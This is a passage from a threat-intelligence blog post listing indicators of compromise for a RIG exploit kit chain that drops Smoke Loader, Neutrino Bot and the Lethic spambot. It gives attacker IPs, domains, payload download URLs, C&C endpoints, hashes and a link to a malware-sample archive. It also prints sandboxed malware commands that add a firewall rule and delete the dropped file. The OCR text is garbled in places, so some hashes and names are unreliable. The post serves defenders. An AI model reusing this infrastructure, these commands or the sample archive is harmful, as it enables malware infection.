Maybe the bot is simply trying to drive traffic to paying customers? If anyone knows for sure
you can contact me via Twitter. All the files should be available for download via the Hybrid-
Analysis reports in the IOCs section.

I0OCs

First Run

e 173.208.245.114 — maddow.club — Shadow server domain
e 23.238.19.56 — freecouponcodes.ml — GET /gile.php — Gate
e 185.159.128.195 — admin.pennypincherconsignment.com — RIG exploit kit

Second Run

e 173.208.245.114 — maddow.club — Shadow server domain

e 23.238.19.56 — freecouponcodes.ml — GET /gile.php — Gate

e 185.159.128.195 — free.jimmagescontract.com — RIG exploit kit

e 178.159.36.151 — GET /s927392.exe — ET INFO Executable Download from dotted-
quad Host

e 178.159.36.151 — GET /smoke927392.exe — ET INFO Executable Download from
dotted-quad Host

e 23.5.104.242 — java.com — ET TROJAN Sharik/Smoke Loader Java Connectivity
Check
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e 192.150.16.117 — adobe.de — POST /support/main.html — ET TROJAN Sharik/Smoke
Loader Adobe Connectivity check

e 112.78.9.34 — mailserv.xsayeszhaifa.bit - POST /hosting2/

e 112.78.9.137 — smoke.nutsystem3210z.bit — POST /hosting/

Third Run

e 173.208.245.114 — sayvinatge.club — Shadow server domain
23.238.19.56 — freeonlinecoupons.ml — GET /go.php — Gate
188.225.34.15 — temp.askthevendor.com — RIG exploit kit
178.159.36.162 — GET /5927397 .exe

178.159.36.162 — GET /smoke927397 .exe

Fourth Run

e 173.208.245.114 — sayvinatge.club — Shadow server domain
e 23.238.19.56 — freeonlinecoupons.ml — GET /go.php — Gate
e 188.225.34.15 — art.auctionagenda.com — RIG exploit kit

C&C Traffic

e 112.78.9.34 — nutsystem1.bit — POST /newfiz21/logout.php
e 112.78.9.31 — nutsystem1.bit — POST /newfiz21/logout.php
e 178.159.36.43 — GET /s927400.exe

e 178.159.36.43 — GET /156a927400.exe

e 178.159.36.43 — GET /156b927400.exe

e 178.159.36.43 — GET /17927400.exe

e 178.159.36.43 — GET /74927400.exe

e 178.159.36.43 — GET /121927400.exe

e 178.159.36.43 — GET /123927400.exe

e 178.159.36.43 — GET /85927400.exe

e 178.159.36.43 — GET /226927400.exe

o 178.159.36.43 — GET /38927400.exe

e 178.159.36.43 — GET /161927400.exe:

More Post-Infection Traffic

e 186.190.212.26 — GET /ip.php — External IP lookup

e 91.203.4.28 — myip.com.ua — External IP lookup

e 136.243.154.209 — File contains “[JomeH He ono3HaH” (Domain not recognized)

e 142.54.173.10 — GET /prx.php?test_sock_porx=1 — Server returns 200 OK, Content
“OK”

e 85.25.74.92 — GET /prx.php?test_sock porx=1 — Server returns 200 OK, Content “OK”

e 217.23.10.156 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot
Response
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89.248.174.17 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot

Response

80.82.65.74 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot
Response

109.236.87.85 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot
Response

91.232.105.121 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

217.23.14.123 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot
Response

93.190.137.226 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

217.23.15.38 — TCP port 6600

209.86.93.227 — TCP port 25 — Simple Mail Transfer Protocol

98.138.112.38 — TCP port 25 — Simple Mail Transfer Protocol

98.138.112.37 — TCP port 25 — Simple Mail Transfer Protocol

66.196.118.36 — TCP port 25 — Simple Mail Transfer Protocol

93.190.139.161 — TCP port 7700

157.56.198.220 — mail.live.com — GET /md/default.aspx

Spam Bot Post-Infection Traffic

104.23.128.76 — www[.Jomegle.com
107.6.108.4 — front1.omegle.com
107.6.108.5 — front2.omegle.com
107.6.108.6 — front3.omegle.com
107.6.108.7 — front4.omegle.com
107.6.108.13 — front5.omegle.com
107.6.108.14 — front6.omegle.com
107.6.110.74 — front7.omegle.com
107.6.110.220 — front8.omegle.com
107.6.108.12 — front10.omegle.com
74.217.30.183 — front11.omegle.com
74.217.30.183 — front12.omegle.com
74.217.30.185 — front13.omegle.com
74.217.30.186 — front14.omegle.com
74.217.30.187 — front15.omegle.com
52.5.25.165 - instagram.com GET /p/BSWvOOPjrWV

Post-Infection DNS Queries

nutsystem1.bit
ns.dotbit.me (107.161.16.236)
alors.deepdns.cryptostorm.net
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e onyx.deepdns.cryptostorm.net

e ns1.any.dns.dOwn.biz (198.251.86.12)

e ns1.random.dns.dOwn.biz (178.17.170.133)
e ns2.random.dns.dOwn.biz (185.14.29.140)
e anyone.dnsrec.meo.ws (185.121.177.177)
« ist.fellig.org (178.63.145.230)

e civet.ziphaze.com (138.68.128.160)

e ns2.fr.dns.dOwn.biz (37.187.0.40)

e ns1.sg.dns.dOwn.biz (128.199.248.105)

e ns1.nl.dns.dOwn.biz (95.85.9.86)

e ns1.domaincoin.net (83.96.168.183)

e ns2.domaincoin.net (108.61.40.140)

e nutsystemz2.bit

e nutsystem3.bit

o propertiesofseyshellseden.com

o assetsofseyshellseden.com

Hashes

SHA256: 09614207fbba5f83037a5¢c9da2248dcae06efffo84d1db45effa04139d035b07
File name: RIG EK Flash Exploit 1.swf

SHA256: 15d2a4be2a53ca33a599a9d562cfec4e0b5c2102e03c3a7f3ea7d8ad4al132b44f
File name: RIG EK Flash Exploit 3.swf

SHA256: 1b9bf35a6662775e538f01738c1f6c94a35481192b63d2229030526d8c3f39f9
File name: RIG EK Flash Exploit 4.swf

SHA256: b7e2ac891a8e524668261b149515¢ccb0105655f1bcb5c8ad72a3fb78de2d02d3
File name: 032.tmp

SHA256: 3a6e2251e64e387adcc887dfeea52200a96f529c18f94b2e32caff43557c6381
File name: ask33ubp.exe

ID: Smoke Loader

Hybrid-Analysis Report

Analysed 4 processes in total (System Resource Monitor).

L 7 ask33ubp.exe (PID: 2212)
L ] explorerexe (PID- 3468) @ &*
1] 1D95. tmp.exe (PID: 3176)
1] 4CC4.tmp.exe (PID: 3220)

0 Reduced Monitoring | &% Logged Script Calls | % Logged Stdout | [= Extracted Streams | B8 Memory Dumps | & Metwork Activity | # Multiscan Match
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https://www.virustotal.com/en/file/09614207fbba5f83037a5c9da2248dcae06efff984d1db45effa04139d035b07/analysis/1491209375/
https://www.virustotal.com/en/file/15d2a4be2a53ca33a599a9d562cfec4e0b5c2102e03c3a7f3ea7d8a4a132b44f/analysis/1491209475/
https://www.virustotal.com/en/file/1b9bf35a6662775e538f01738c1f6c94a35481192b63d2229030526d8c3f39f9/analysis/1491209576/
https://www.virustotal.com/en/file/b7e2ac891a8e524668261b149515ccb0105655f1bcb5c8ad72a3fb78de2d02d3/analysis/
https://www.virustotal.com/en/file/3a6e2251e64e387adcc887dfeea52200a96f529c18f94b2e32caff43557c6381/analysis/
https://www.hybrid-analysis.com/sample/3a6e2251e64e387adcc887dfeea52200a96f529c18f94b2e32caff43557c6381?environmentId=100
https://malwarebreakdown.files.wordpress.com/2019/07/fee2a-e88a8-ask33u6p-exe-processes.png

SHA256: f2a7198e2d18ea5a99d5ad1a707d7ffde7179c625eefaf88d6e7066bbc078d57
File name: iwcahsmt.exe

ID: Smoke Loader

Traffic: www][.]Jadobe.de, smoke.nutsystem3210z.bit, mailserv.xsayeszhaifa.bit
Hybrid-Analysis Report

Analysed 7 processes in total (System Resource Monitor).

L @7 iwcahsmt.exe (PID: 2384)
L ] explorerexe (PID: 4012) @ &
72097 tmp.exe (PID: 440)
L ] explorerexe (PID: 2020) @ &
m7]4BDC tmp.exe (PID:- 2764)
L Ejcmndexe /a /c ping 127.0.0.1 -n 3&del "% TEMP%\4BDCTM~1.EXE" (PID: 2308) @
L @ PING.EXE ping 127.0.0.1 -n 3 (PID: 2196) @

& Reduced Monitoring | 4F Logged Script Calls | ™ Logged Stdout | Bl Extracted Streamns | B Memory Dumps | & Network Activity | 8 Multiscan Match

Emerging Threats

Event Category Description SID
Response on port 80 (TCP) A Metwork Trojan was detected ET TROJAM Sharik/Smoke Loader Adobe Connectivity chedk 2018676
235104 242-B0 (TCP) A Metwork Trojan was detected ET TROJAN Sharik/Smioke Loader Java Connectivity Check 10220126
178.159.36.151:80 (TCP) A Metwork Trojan was detected ET INFO Executable Download from dotted-guad Host 2016141
Response on port 57789 (TCP) Potential Corporate Privacy Violation ET POUCY PE EXE or DLL Windows file download HTTP 2018959
Response on port 57789 (TCP) Potentially Bad Traffic ET INFO SUSPICIOUS Dotted Quad Host MZ Response 2021076
Response on port 57789 (TCP) Misc activity ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) 2015744
178.159.36.151:80 (TCP) A Metwork Trojan was detected ET INFO Executable Download from dotted-guad Host 2016141
Response on port 57789 (TCP) Potentially Bad Traffic ET INFO SUSPICIOUS Dotted Quad Host MZ Response 2021076
Response on port 57789 (TCP) Misc activity ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) 2015744

SHA256: 2c452bc79da741639bdb4229168d5bd541069e342eae63d1b96a3690fb10b48a
File name: smoke927397.exe

ID: #Neutrino Bot

Traffic: 112.78.9.34 — POST /newfiz21/logout.php

Hybrid-Analysis Report

Analysed 7 processes in total (System Resource Monitor)

a7 smoke927397 exe (PID: 2352) E CEE
[ jvauyc32 exe (PID: 2660) B
] cmd.exe /a /c netsh advfirewall firewall add rule name="alFSWW|B" dir=in action=allow program="%APPDATA:\alFSWW|B\jvauyc32.exe" [PID: 3500) @
- i netsh.exe netsh advfirewall firewall add rule name="alFSVW|B" dir=in action=allow program="%APPDATA%\alFSVW|B\jvauyc32.exe" (PID: 3804) @
[ jvauyc32 exe (PID: 3464) =
[m]cmd.exe fa fc ping 127.0.01 -n 3&del "C\SMOKE9S-1.EXE" [PID: 2684) @
) PING.EXE ping 127.0.01 -n 3 (PID: 2764 &

& Reduced Montonng | © Logged SoiptCalls | % Logged Stdout | [ Eatraced Steamis B8 Menory Durnps | & Network Actrvty 3 Mudtiscan Manch
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https://www.virustotal.com/en/file/f2a7198e2d18ea5a99d5ad1a707d7ffde7179c625eefaf88d6e7066bbc078d57/analysis/
https://www.hybrid-analysis.com/sample/f2a7198e2d18ea5a99d5ad1a707d7ffde7179c625eefaf88d6e7066bbc078d57?environmentId=100
https://malwarebreakdown.files.wordpress.com/2019/07/f13f3-d94fe-iwcahsmt-exe-processes.png
https://malwarebreakdown.files.wordpress.com/2019/07/c1416-1097d-emerging-threats-rules.png
https://www.virustotal.com/en/file/2c452bc79da741639bdb4229168d5bd541069e342eae63d1b96a3690fb10b48a/analysis/
https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/
https://www.hybrid-analysis.com/sample/2c452bc79da741639bdb4229168d5bd541069e342eae63d1b96a3690fb10b48a?environmentId=100
https://malwarebreakdown.files.wordpress.com/2019/07/c97a9-3c148-processes-smoke927397.png

SHA256: 1b6a98a7bade5fac878f2f8f284fa748c889fade4a9a0905748144fffd890f4b
File name: s927397.exe

ID: #Smoke Loader

Hybrid-Analysis Report

Analysed 2 processes in total (System Resource Monitor).

L 1 5927397 exe (PID: 2588) 2 O
- 5 explorerexe (PID: 3328) @ &

@ Reduced Monitoring | 4% Logged Script Calls | ®_ Logped Stdout | [ Extracted Streams | B Mermory Durnps | & Network Activity | 8 Multiscan Match

SHA256: 2d6¢c7a9a79ae01104ab02d53863ef69d184e26a1be27cfe6181fda9801d0aala
File name: 156a927400.exe

Traffic: 217.23.10.156 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid-Analysis Report

SHA256: cadcb29d14804f8158569c187b37c624e6e8e2741e30a08dd69d3aedc2b967bS
File name: 156b927400.exe

ID: #Spambot

Traffic: 217.23.10.156 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid-Analysis Report

SHA256: 9ca331535f2e13641f21983925b37af6563666b58fc930dd00f6b25ab5ca238b

File name: 17927400.exe

Traffic: 89.248.174.17 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid Analysis Report

SHA256: 89019d528960d3df0475cb828fdd4b3fa719a52792¢c2b27560a609f1b79f9a04
File name: 38927400.exe

Traffic: 217.23.15.38 — TCP port 6600

Hybrid-Analysis Report

SHA256: 0d5351036f25df4720ad3569¢e 1dbfe348a021133ba45d830fe2929990c15¢ccbce

File name: 74927400.exe

Traffic: 80.82.65.74 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect Bot
Response

Hybrid-Analysis Report

SHA256: 1f0780558f660c48349e0457066c46fc6641ce94c692539fe1156d5419954b2b
File name: 85927400.exe
Traffic: 109.236.87.85 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
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https://www.virustotal.com/en/file/1b6a98a7ba4e5fac878f2f8f284fa748c889fa4e4a9a0905748144fffd890f4b/analysis/
https://www.hybrid-analysis.com/sample/1b6a98a7ba4e5fac878f2f8f284fa748c889fa4e4a9a0905748144fffd890f4b?environmentId=100
https://malwarebreakdown.files.wordpress.com/2019/07/578e3-d2188-s927397-exe-smoke-loader.png
https://www.virustotal.com/en/file/2d6c7a9a79ae01104ab02d53863ef69d184e26a1be27cfe6181fda9801d0aa3a/analysis/
https://www.hybrid-analysis.com/sample/2d6c7a9a79ae01104ab02d53863ef69d184e26a1be27cfe6181fda9801d0aa3a?environmentId=100
https://www.virustotal.com/en/file/cadcb29d14804f8158569c187b37c624e6e8e2741e30a08dd69d3aedc2b967b5/analysis/
https://www.hybrid-analysis.com/sample/cadcb29d14804f8158569c187b37c624e6e8e2741e30a08dd69d3aedc2b967b5?environmentId=100
https://www.virustotal.com/en/file/9ca331535f2e13641f21983925b37af6563666b58fc930dd00f6b25ab5ca238b/analysis/
https://www.hybrid-analysis.com/sample/9ca331535f2e13641f21983925b37af6563666b58fc930dd00f6b25ab5ca238b?environmentId=100
https://www.virustotal.com/en/file/89019d528960d3df0475cb828fdd4b3fa719a52792c2b27560a609f1b79f9a04/analysis/
https://www.hybrid-analysis.com/sample/89019d528960d3df0475cb828fdd4b3fa719a52792c2b27560a609f1b79f9a04?environmentId=100
https://www.virustotal.com/en/file/0d5351036f25df4720ad3569e1dbfe348a021133ba45d830fe2929990c15ccbc/analysis/
https://www.hybrid-analysis.com/sample/0d5351036f25df4720ad3569e1dbfe348a021133ba45d830fe2929990c15ccbc?environmentId=100
https://www.virustotal.com/en/file/1f0780558f660c48349e0457066c46fc6641ce94c692539fe1156d5419954b2b/analysis/

Bot Response
Hybrid-Analysis Report

SHA256: 1fb5f636aa1d3c06d15cfa7bbb30b686b879cef0306d5326a4bb10d1e2b5e1b2

File name: 121927400.exe

Traffic: 91.232.105.121 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid-Analysis Report

SHA256: 96d8c85c21b7ae70eaff6385f3d2f6a3ec92276a137585964beb3098a59f8252

File name: 123927400.exe

Traffic: 217.23.14.123 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid-Analysis Report

SHA256: f957ab49e2b8ae2b02aa829828c3dc1cbffcb1f14355161a932f3c46d03dd3d7

File name: 226927400.exe

Traffic: 93.190.137.226 — TCP port 5500 — ET TROJAN Lethic Spambot CnC Initial Connect
Bot Response

Hybrid-Analysis Report

SHA256: 9d845fbc4ee48395aad61ddf1e8e96f00e210c240cb6448db3b0cd098d5053b3
File name: NNC254.tmp.exe and s927400.exe
Hybrid-Analysis Report

SHA256: ed83c7c98a7a3c802d3995d8036b08184bfe5576548d4eb6967f101615608a1f
File name: NN37AB.tmp.exe and s927398.exe

SHA256: 3bd9a181b15615b9f52a2061a9ca5f9d690de119ea84783a6904f120a4c685ea
File name: NN46D9.tmp.exe and 161927400.exe

Traffic: 93.190.139.161 - TCP 7700

Hybrid-Analysis Report

Malicious Artifacts (Password is infected)

Malicious Artifacts.zip

Until next time!

Published by malwarebreakdown
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https://www.hybrid-analysis.com/sample/1f0780558f660c48349e0457066c46fc6641ce94c692539fe1156d5419954b2b?environmentId=100
https://www.virustotal.com/en/file/1fb5f636aa1d3c06d15cfa7bbb30b686b879cef0306d5326a4bb10d1e2b5e1b2/analysis/
https://www.hybrid-analysis.com/sample/1fb5f636aa1d3c06d15cfa7bbb30b686b879cef0306d5326a4bb10d1e2b5e1b2?environmentId=100
https://www.virustotal.com/en/file/96d8c85c21b7ae70eaff6385f3d2f6a3ec92276a137585964beb3098a59f8252/analysis/
https://www.hybrid-analysis.com/sample/96d8c85c21b7ae70eaff6385f3d2f6a3ec92276a137585964beb3098a59f8252?environmentId=100
https://www.virustotal.com/en/file/f957ab49e2b8ae2b02aa829828c3dc1c6ffcb1f14355161a932f3c46d03dd3d7/analysis/
https://www.hybrid-analysis.com/sample/f957ab49e2b8ae2b02aa829828c3dc1c6ffcb1f14355161a932f3c46d03dd3d7?environmentId=100
https://www.virustotal.com/en/file/9d845fbc4ee48395aad61ddf1e8e96f00e210c240cb6448db3b0cd098d5053b3/analysis/
https://www.hybrid-analysis.com/sample/9d845fbc4ee48395aad61ddf1e8e96f00e210c240cb6448db3b0cd098d5053b3?environmentId=100
https://www.virustotal.com/en/file/ed83c7c98a7a3c802d3995d8036b08184bfe5576548d4eb6967f101615608a1f/analysis/
https://www.virustotal.com/en/file/3bd9a181b15615b9f52a2061a9ca5f9d690de119ea84783a6904f120a4c685ea/analysis/
https://www.hybrid-analysis.com/sample/3bd9a181b15615b9f52a2061a9ca5f9d690de119ea84783a6904f120a4c685ea?environmentId=100
https://malwarebreakdown.com/wp-content/uploads/2017/04/malicious-artifacts2.zip

Just a normal person who spends their free time infecting systems with malware. View all
posts by malwarebreakdown
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